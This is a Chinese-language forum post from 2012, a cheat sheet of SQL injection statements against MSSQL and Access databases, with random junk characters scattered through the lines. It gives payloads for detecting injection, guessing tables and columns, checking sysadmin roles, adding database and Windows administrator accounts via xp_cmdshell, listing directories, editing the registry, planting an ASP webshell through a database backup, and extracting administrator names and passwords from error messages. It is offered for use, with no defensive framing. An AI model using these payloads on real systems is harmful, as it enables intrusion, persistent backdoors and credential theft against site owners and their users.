找回密码
 立即注册
查看: 2838|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 ' J  e* J4 ?' x! B
;and 1=1 ) N8 F3 D6 U; `( F* ^
;and 1=2
& q: }* V' g- r! H) m" _( z- e6 z, Y! X' w/ u
2.初步判断是否是mssql
/ E  B% t& @& j# S% P7 q; ];and user>0
5 N& [8 V! s' i; _3 {, M
' x# l* r9 g# B! r3 w- g$ g3.判断数据库系统
+ f* t6 ~. Z3 E6 [4 ^, T+ o;and (select count(*) from sysobjects)>0 mssql
% e$ w6 U9 F' e% S;and (select count(*) from msysobjects)>0 access
$ A" Q" y& q( h# M5 f6 N# V2 j  i+ a$ }/ @
4.注入参数是字符
. g3 T, `. T1 T0 u* y5 E% p'and [查询条件] and ''='
8 i- B0 N5 x% u. r8 s, U, D, l2 S+ ~3 G- J
5.搜索时没过滤参数的 * ]% z/ L/ m% Z# B
'and [查询条件] and '%25'=' - C" x% ]7 V* W4 [" Y2 t

, g+ D: F+ f4 m5 g$ Q' s6.猜数表名
8 K9 W3 X% z( `;and (select Count(*) from [表名])>0 : V. O' }7 Q  J' b
* {: @. x9 R! g( o: X/ [! V
7.猜字段
* ?' O$ L  W+ d( ^. Y;and (select Count(字段名) from 表名)>0
( l: ~. J' ]' b6 V& |. Q% Q; Y; w; d: x( Y# K3 M/ q( o' f: q
8.猜字段中记录长度
' u1 C6 N- J4 n, ~;and (select top 1 len(字段名) from 表名)>0
+ F$ S+ P4 p! a/ ~2 I+ G
! o/ [% o2 D; c2 h; J9.(1)猜字段的ascii值(access)
2 L0 G# N! ?3 T9 };and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 - i/ j: \% j( s6 @1 P5 [

6 p% b4 V) f& u& L2 J- s(2)猜字段的ascii值(mssql) ; D2 {8 I, M$ W: R7 m7 v  V
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
4 S" D4 }3 f  L( b: F9 i7 T+ w
' A0 Y- x* f8 a# G$ i10.测试权限结构(mssql) , S: R4 m! z$ |) k8 k* d4 d9 r
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- + U9 d. J# }; \( K3 P- n
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--   f8 w8 O& w* n) Y  L
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
* C& M+ Q+ ~, z: [, t% X/ p;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ( o* P3 J( S4 h; n% p
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' }% y( [# W( }2 T, A* o8 D
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 X  w* u% G- n2 V
;and 1=(select IS_MEMBER('db_owner'));-- 4 J' V) ^) f7 K0 l
( B' ^9 w. O, F- l2 I
11.添加mssql和系统的帐户 ! X/ {( E7 c8 R, {' e- F6 {* q
;exec master.dbo.sp_addlogin username;-- 3 `( X/ j6 u# l8 c
;exec master.dbo.sp_password null,username,password;--
4 y, s  P% I) A4 J;exec master.dbo.sp_addsrvrolemember sysadmin username;--
9 @1 J  H8 l# V4 J;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
" O$ @' s# [, c, Y, {;exec master.dbo.xp_cmdshell 'net user username password /add';--
. @0 M# f- s9 ], x- v;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- : {/ k! t! P$ t: A! R  `
+ o% m: T/ x1 e4 U; R, x
12.(1)遍历目录 " T! A* f" e8 m9 |( Z$ G! B
;create table dirs(paths varchar(100), id int) + f* R. ~9 z7 w1 L: [
;insert dirs exec master.dbo.xp_dirtree 'c:\'
( |8 _( y) B) Z+ Y9 X7 L& p;and (select top 1 paths from dirs)>0
# w, H) P9 H# J: [+ Z& r;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2 J, s2 m% ]% O$ j. x  O

  ~' ~8 e0 c- U(2)遍历目录 1 k3 L4 h% e3 o, N, q0 Q# V+ A! f
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
. s1 t" N. F5 J9 k5 y6 _;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
% ^" r% X, U$ ?  e% n;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 3 I. l( W* w+ o9 t1 V' U
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 & n; h7 Z# C9 h, U
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 - I9 P" M6 ^7 b1 l
9 ~6 F# h( W! \3 a$ C+ j
13.mssql中的存储过程 ) A' ]. D3 r3 _6 s1 Z* V. C2 `0 R
xp_regenumvalues 注册表根键, 子键 # J: _$ R2 @# H
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 # h' ~- L( W/ e$ {
xp_regread 根键,子键,键值名
5 W( t: [6 t6 |9 G1 k$ j: k;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值   h) w( m, Z+ N' E  d
xp_regwrite 根键,子键, 值名, 值类型, 值
9 o2 k8 p- h, W( m值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ! C! w" c; V' h( b: n& R5 x
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
* p1 k* y& d/ Z! N8 ~: [! J. Kxp_regdeletevalue 根键,子键,值名 * w* s% G# r% _; T# z1 S9 h
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值   Q7 |% m* Z9 R
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ( f1 m$ D9 ?; T

$ Q: K) ^# ]8 ?8 B3 T0 `4 X14.mssql的backup创建webshell , M" {( c' u4 u" ~; H& ~9 H
use model
9 v% `& }" I. L. }( \. |% Ocreate table cmd(str image); / s5 l8 \9 y$ l& _
insert into cmd(str) values ('<% Dim oScript %>'); 1 K2 Y4 Z8 X" ]" S4 N! X
backup database model to disk='c:\l.asp';
0 s- |4 p1 A# a& B+ w
+ n$ a0 e& _7 x. m* H2 t$ |0 Y15.mssql内置函数 , z3 c4 \' O9 K! X* c  ^
;and (select @@version)>0 获得Windows的版本号 3 X6 j8 h* p# N% H7 |4 `" N
;and user_name()='dbo' 判断当前系统的连接用户是不是sa & f2 x, q- x; L4 d0 q( I
;and (select user_name())>0 爆当前系统的连接用户
6 I+ U9 H5 i0 ^. F; H;and (select db_name())>0 得到当前连接的数据库 6 u' I! m, E& g. E8 x
* T( R" I9 C0 h8 G. W

) c7 J3 g4 k- t. C) F* I
0 C9 i- ~) f1 m! UMSSQL手注暴库7 D9 F. P9 W  H0 G

$ Z  {' L' [: E- t0 o1.暴出当前表名和列名
& j* c% j0 ]0 N  V+ b在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。" i. R5 n+ [% Z* l7 J3 e! w5 o) j

; e/ k2 t$ S' G第一.爆出所有数据库名6 r" P. `7 y: q- `2 h
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。  Q) I( g6 K% O* }, v# |  ~0 o
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。) X$ c6 A* B3 B! j$ C! c( R/ ^8 ~

5 H, j6 |4 s8 ]# j; Z6 Iand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
) T) e- O6 u, s& J0 _7 a
7 X* E, `* O! x7 r( h4 S7 ]4 ?# J  b0 Y! ?" r: f
第二.爆出指定库中的所有表名
/ E  S& B1 b) r  G9 f得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
/ b8 u# n* ~% k4 \再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。5 {" g/ k. C/ F9 W. s4 p& ^

0 R$ B. L# _+ G! ^# cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
: M; b( x' A+ v( L& g" V! {and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
, Q: @. ?, c- d: K' ]5 [and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--7 ^2 p5 L8 Z8 V5 J  N
: ]) X: i7 q2 }! h2 F! C$ \
4.爆出指定表中的所有列名% u' I' a$ \8 J% B8 W7 e
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) # \* u& ?- r) A% l& j, N$ D, F
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'' W' D- j) [: v0 a
9 _5 S' n' s# X$ h* I% t- u) J
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名/ I' j+ b/ G' n7 r" \
. y7 L) `% m; a) J/ _% B* l  H
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- * P6 a6 a2 @% j" ]
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。8 P* b8 o  a( q# G5 T5 h1 |6 f

5 b# {3 l. I0 x7 S0 Z( e1 h  z
: D( ]" K+ D: Z! {' Tand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
7 h5 X5 A5 p' j0 [5 l6 I( s5 a% J% A, y# p+ b
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
( m, K( ^7 B: p. ^4 x& z( ?- \" u1 V4 g4 Z" S$ W, y; z0 e
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- " ^* o$ T' u9 a* P( z* a
8 b7 L3 j0 p! @/ I$ h% g' S
- o! _- s0 `9 v6 X4 l

2 `) l& M& t% ?# h/ d5.读取指定表中的数据, w2 t4 S8 A0 t% T0 o

0 p( X3 {' A' v% Z3 ?% a% v. Wand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 0 O+ G! }* o0 ]" q0 t

) r  O6 S4 T. m: I' Mand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
+ @' O! F5 R' g4 }/ L3 u
9 m, |. X3 r1 Y, \8 S' Pand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
1 I) \; V# k& J3 v% h! [. q& E
/ L. S: q) Y' u- h. l8 M9 R1 t  ]& z6 \( m0 M% Z" W+ j
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao); G* N: y7 O! D* K6 ]0 c& \" d, z1 K

5 E( u6 J' s5 u& {: J9 Yand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang); i, Y% X9 X) I) T5 T

# y  _* x9 x* @6 t' ?and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
& |1 r# E1 m3 D: H) [0 F& k7 w0 R+ g" }4 v7 |5 x
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。: q3 K7 T: k2 Z/ I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表